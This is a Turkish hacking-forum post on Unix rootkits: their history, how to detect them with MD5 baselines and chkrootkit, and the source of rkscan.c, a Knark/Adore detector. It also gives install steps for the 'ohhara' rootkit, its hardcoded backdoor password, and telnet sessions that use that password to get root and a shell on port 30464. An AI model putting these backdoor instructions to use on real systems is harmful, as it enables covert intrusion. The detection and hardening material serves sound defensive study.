İPUCU

Sosyal medya ve Sosyal Platformlar Sosyal Medya Ve Sosyal Platformlar Hakkında Her şey.

Seçenekler

Root Kitler / Tespiti / Döküman.

TWOPAC - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2012
Nereden:
GeLeCeN Mi
Mesajlar:
263
Konular:
207
Teşekkür (Etti):
2
Teşekkür (Aldı):
94
Ticaret:
(0) %
31-10-2012 22:22
#1
Root Kitler / Tespiti / Döküman.
Exploit ( Sistem Bugları ) le çoğumuz uğraşıyoruz.. Oraya buraya saldırıyoruz ve genelde sonuç alabiliyoruz, peki daha büyük sistemlere saldırırken Rootkit adı verdiğimiz mataryeller kullanıyoruz ve kimlik tespitimizin gerçekleşmesi hayli zor bir hal alıyor..

Peki hiç düşündünüzmü acaba benim sistemimde Root Kit kurlumu ? Hepimiz Sistem Mühendisi değiliz, fark etmemmiş ve görmemiş olabiliriz. Şimdi Buyurun Rootkit Kavramı Ve sistemlerden nasıl silinir onu öğrenelim



Not : Bilgi Seviyesi Az Olan Arkadaşlar Belki Bu Doküman ı okurken zorlanacaklardır, onlar için tavsiyem ( Root kit in nasıl silindiğini değilde sistemlerde nerelerde barınır , hangi kullancı düzeyi bu root kitleri bularbilir vs. bunları kavrasınlar..



Soru:
Şirketimizdeki çalışanlardan biri sistemde güvenlik sorunu olduğunu söyledi fakat sistem yöneticisi olmama rağmen ben yanlış bir durum görmedim(Sistem yöneticisi bilemezse kim bilecek ki :> )

Cevap:
Her söze inanılacak diye bir durum yok. Fakat sistem güvenliği konusuna gelince işte orada durmak gerekir. İster doğru olsun ister yanlış. Her zaman dikkatli olmak gerekir.
Yukarıdaki soruya yönelik denilecek olayların başında paket yakalayıcılara (Sniffer) dikkat!!!

UNIX TROJANLARIN TARİHİNE KISA BİR BAKIŞ

1980li yıllarda Unix sisteminin üzerinde neler olduğunu belirlemek çok zor değildi.

"last" komutu davetsiz misafirin sistemde hangi hesapları(account) kullandığını, nereden bağlandığını gösterir.
"ls" komutu sistemde bulunan dosya/dizinleri gösterir. "ps" çalışan programları (sniffer), password kırıcı programları ve davetsiz misafirin çalıştırdığı herhangi bir dosyasını listeler.
"netstat" komutu network bağlantılarını ve bilgi akışını sağlayan portları gösterir.
"ifconfig" komutu network kartının durumunu göstererek sistemin PROMISC modda olup olmadığını bildirir.

Kısaca sistemin güvende olup olmadığı sana kolaylıkla bildirilirdi.

İlerleyen zamanlarda akıllı hackerlar sistem durumunu takip edecek ve bunla birlikte kendi aktivitelerini gizleyecek yöntemler geliştirdiler. Bu metodlar 2600 ve Phrack gibi elektronik dergilerde yayınlandı.

Örneğin, "Hiding Out Under Unix" (Phrack Volume Three,25 Mart 1989) isimli yazıda /etc/wtmp dosyasının düzenlenerek tüm login kayıtlarının nasıl temizleneceği bir kodla anlatılmıştı.
Zaman ilerledikçe akıllı programcılar "ls", "ps", "netstat" gibi önemli sistem
komutlarına trojan yerleştirmeyi başardılar.

Linux Root Kit versiyon 3 (lrk3), 1996 Aralık ayında yeni özelliklerle birlikte yayınlandı.
Kendini aktivitelerini gizleyerek sniff ile sistemdeki şifreleri
yakalayabiliyordu. Bu RootKit x86 tabanlı PClerde Linux üzerinde çalışıyor.


1998 Kasım ayındada Linux Root Kit version 4 (lrk4) duyuruldu.
Bu versiyona yeni özellikler eklenmişti. Bunlar:
"pidof" - "killall" (belirtilen süreci(proses) öldürme), "find" (Belirtilen tip, isim, tarih gibi durumlara göre dosyaları listemele), "top" (sürecleri gösterme), "crontab" (Periyodik olarak istenilen işlemleri belli zamanda gerçekleştirme)


Diğer rootkit programlarını bulabileceğiniz örnek adresler:

face=Tahoma color=#336699 ftp://ftp.technotronic.com/unix/trojans
face=Tahoma color=#336699 Files ≈ Packet Storm

Bir hackeri yakalamak için, onun araç ve teknikleri bilmek gerekir. Bir hackerin ilk yapacağı işlerin başında sistem yöneticisinden olabildiğince saklanmak ve farkedilmemektir. Bu kapsamda kullanılan araçların başında rootkit araçları gelmektedir..
Rootkitler birçok araçların bileşmesinden oluşur.
Bu araçlar sistemdeki aktiviteleri saklayarak yukarıda belirtildiği gibi sistem yöneticisini tarafından farkedilmeyi en aza indirirler.

Rootkit araçlarında login girişlerini ve loglarını wtmp, utmp, ve lastlog dosyalarından temizleyecek dosyalar içerir.
Ayrıca chfn, chsh, login, ve passwd gibi önemli dosyalar trojanlı halleriyle yer değiştirilir..

Örnek Rootkit(ohhara-rootkit):

1. ohhara rootkit nedir?
ohhara rootkit linux için bir backdoor (x86redhat 6.0 da test edilmiştir).

2. ohhara rootkit nasıl sisteme kurulur?

cd bin/glibc2.1
./install-ohhara-rootkit
vi /etc/inetd.conf dosyası düzenlenerek in.telnetd kısmı telnetd olarak değiştirilir)
killall -HUP inetd


3. ohhara rootkitin sistemden silinmesi?

cd bin/glibc2.1
./uninstall-ohhara-rootkit
vi /etc/inetd.conf dosyası düzenlenerek telnetd kısmı in.telnetd olarak değiştirilir)
killall -HUP inetd
vi /etc/rc.d/rc.local dosyasında in.inetd ve in.smbd kısmı silinir)


4. ohhara rootkitin kullanılması?
/lib/security/pam_pwdb.so
Trojan pam. Herhangi bir loginle , ’gkfkqo79’ passwordu ile sisteme girilir.

$ telnet rootkit_kurulmus_sistem.com
Trying xxx.xxx.xxx.xxx...
Connected to rootkit_kurulmus_sistem.com
Escape character is ’^]’.
login: bin
Password: ( gkfkqo79 )
bash$ whoami
bin
bash$ su root
Password: ( gkfkqo79 )
bash# whoami
root
bash#
----------
Linux sniffer ---> /usr/sbin/in.smbd
Linux sniffer logları ---> /var/lock/subsys/...datafile.../...datafile.../in.smbd.log
Shell Port:30464 /usr/sbin/in.inetd ( password ’gkfkqo79’ dur )
----------
$ telnet rootkit_kurulmus_sistem.com 30464
Trying xxx.xxx.xxx.xxx...
Connected to rootkit_kurulmus_sistem.com
Escape character is ’^]’.
gkfkqo79
whoami;
root
----------
Log silinmesi ( zap2 ) /usr/sbin/fixdate


Tavsiyeler:
Kritik sistem araçlarının MD5 kontrollerini bulundurun.
Tüm açık portları kontrol edin.
Gerekli sistem araçlarını diskete ve/veya cdrom gibi ortamlarda yedekleyin.
Sistem loglarını iyi kontrol edin.
Güvenlik sitelerinden patch leri takip edin.

Rootkit Bulma:
Rootkitler belirtildiği gibi çeşitli araçlardan oluşur. Rootkitlerin varlığını anlamak için onu oluşturan bileşenleri iyi kavramak gerekir. Trojanlar, sistem yöneticisinin sistem loglarından açıkların anlaşılmasını engellemek için logları silme eğilimi gösterirler.
Böylece sistemde sniffer varlığının anlaşılmasını da en aza indirgenir.
Genellikle trojanlı olan sistem dosyaları: netstat,ps,df,find,ls gibi dosyalardır.
Saldırgan bu faydalı araçları değiştirerek sistem yöneticisinin; kendi dosyalarını, sistem aktivitelerini, proseslerin yanlış algılamasını sağlarlar..
İşi bilen bir saldırgan trojanlı dosyaların, orijinal dosya ile boyut ve yaratılma tarihi gibi ince ayarların aynı olmasına dikkat ederek kurnazca bir hareket yapmış olur.
Eğer daha önceden dosyaların(önemli sistem dosyaların) MD5 kontrolünü yaratmış ve zaman zaman bunları teker teker kontrol ediyorsanız trojanlı dosyaları bulmanız kolaylaşır.
MD5(Kriptografik kontrol) dosyaların bir dijital fotoğrafıdır.
Hiçbir dosya aynı fotoğrafa sahip olmamalıdır. MD5 Algoritması kullanılarak fotoğrafı çekilmiş bir dosyanın 1 byte ti değişse bile fotoğraftaki değişiklik anlaşılır(bu fotoğraf kelimesini çok kullanmaya başladım :> )
Not: Tekrar vurgulayarak söylüyorum: önemli sistem araçlarınızın yedeğini MD5 kontrolüyle birlikte yedeklemeyi unutmayın.

face=Tahoma color=#336699 ChkRootkit programının kısa bir şekilde tanıtılması:
Chkrootkit programı sistemi tarayarak popüler rootkitlerin sisteme kurulup kurulmadığını gösterecektir.

Kontrol ettiği dosyalar:
aliens, asp, bindshell, lkm, rexedcs, sniffer, wted, z2, amd, basename, biff, chfn, chsh, cron, date, du, dirname, echo, egrep, env, find, fingerd, gpm, grep, hdparm, su, ifconfig, inetd, inetdconf, identd, killall, ldsopreload, login, ls, lsof, mail, mingetty, netstat, named, passwd, pidof, pop2, pop3, ps, pstree, rpcinfo, rlogind, rshd, slogin, sendmail, sshd, syslogd, tar, tcpd, top, telnetd, timed, traceroute, write.

Tanımlayabildiği RootKit çeşitleri:

lrk3, lrk4, lrk5, lrk6 (ve bazı türleri);
Solaris rootkit;
FreeBSD rootkit;
t0rn;
Ambient’s Rootkit for Linux (ARK);
Ramen Worm;
rh[67]-shaper;
RSHA;
Romanian rootkit;
RK17;
Lion Worm;
Adore Worm;
LPD Worm;
kenny-rk;
Adore LKM;
ShitC Worm;
Omega Worm;
Wormkit Worm;
Maniac-RK;
dsc-rootkit;
Ducoci rootkit;
x.c Worm;
RST.b trojan;
duarawkz;
knark LKM;
Monkit;
Hidrootkit;
Bobkit;
Pizdakit;

Test edildiği sistemler:
Linux 2.0.x, 2.2.x ve 2.4.x, FreeBSD 2.2.x, 3.x ve 4.x, OpenBSD 2.6, 2.7, 2.8,
2.9 ve 3.0, Solaris 2.5.1, 2.6 ve 8.0

Bu faydalı programını belli bir zamanda çalışmasını istiyorsanız cron’a yerleştirebilirsiniz.

0 3 * * * (cd /dizin/chkrootkit; ./chkrootkit 2>&1 | mail -s "chkrootkit output" root)


KNARK(versiyon 0.59) ve ADORE(versiyon 0.14, 0.24 ve 2.0b) rootkitleri tanımlaya bilen bir program kodunu aşağıda bulabilirsiniz.

/** rkscan.c (C) 2000 by Stephane Aubert
** <Stephane.Aubert at hsc.fr>
**
** Rootkit Scanner for:
** . KNARK version 0.59
** (kernel-based rootkit)
** knarf was written by Creed <creed at sekure.net>
** and can be found on packetstrom.securify.com
**
** . ADORE version : 0.14, 0.24 and 2.0b
** (kernel-based rootkit)
** Adore was written by Stealth
** and can be found on http://spider.scorpions.net/~stealth/
**/

#include <sys/types.h>
#include <values.h>
#include <unistd.h>
#include <stdio.h>
#include <time.h>

// Use MAXINT for a fullscan
#define UPSCAN 65535

int knark_scan( **** ) {
int command;
printf(" Scanning for KNARK version 0.59 ...n");
for( command=UPSCAN; command>=0; command-- ) {
if(settimeofday((struct timeval *)command,
(struct timezone *)NULL) == 0) {
printf(" #KNARK rootkit is running (settimeofday command=%d) !nn",
command );
return 1;
}
}
printf(" KNARK rootkit NOT DETECTED on this system.nn");
return 0;
}

int adore_scan( **** ) {
int version;
uid_t uid;
printf(" Scanning for ADORE version 0.14, 0.24 and 2.0b ...n");
// for all possible UIDs
for( uid=UPSCAN; uid>=2; uid-- ) {
if( getpwuid(uid) == NULL ) { // if UID is not in /etc/passwd
if( (version=setuid( uid )) >0 ) {
printf(" #ADORE rootkit is running with ELITE_CMD=%d !nn", uid-2 );
return 1;
}
}
}
printf(" ADORE rootkit NOT DETECTED on this system.nn");
return 0;
}

int main( int argc, char *argv[] ) {
int retval=0;
printf("-=- Rootkit Scanner -=-n"
"-=- by<mail to="Stephane.Aubert@hsc.fr" subject="" text="Stephane.Aubert@hsc.fr" />-=-nn");

if( getuid()==0 ) {
printf(" *** Don’t run this scanner as root ! ***nn");
exit( 0 );
}

retval += adore_scan();
retval += knark_scan();

printf("Done.n");
exit( retval );
}


Kullanımı:

[root@CiLeK RootKit]# gcc -o rks rkscan1.0.c
rkscan1.0.c: In function `adore_scan’:
rkscan1.0.c:46: warning: comparison between pointer and integer
[root@avicenna RootKit]#./rks
-=- Rootkit Scanner -=-
-=- by<mail to="Stephane.Aubert@hsc.fr" subject="" text="Stephane.Aubert@hsc.fr" />-=-

*** Don’t run this scanner as root ! ***

[root@avicenna RootKit]#

[avicenna@avicenna RootKit]$ ./rks
-=- Rootkit Scanner -=-
-=- by<mail to="Stephane.Aubert@hsc.fr" subject="" text="Stephane.Aubert@hsc.fr" />-=-

Scanning for ADORE version 0.14, 0.24 and 2.0b ...
ADORE rootkit NOT DETECTED on this system.

Scanning for KNARK version 0.59 ...
KNARK rootkit NOT DETECTED on this system.
--------------------- Takdir Ediliyorsanız Değil, Taklit Ediliyorsanız Başarmışsınız Demektir.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı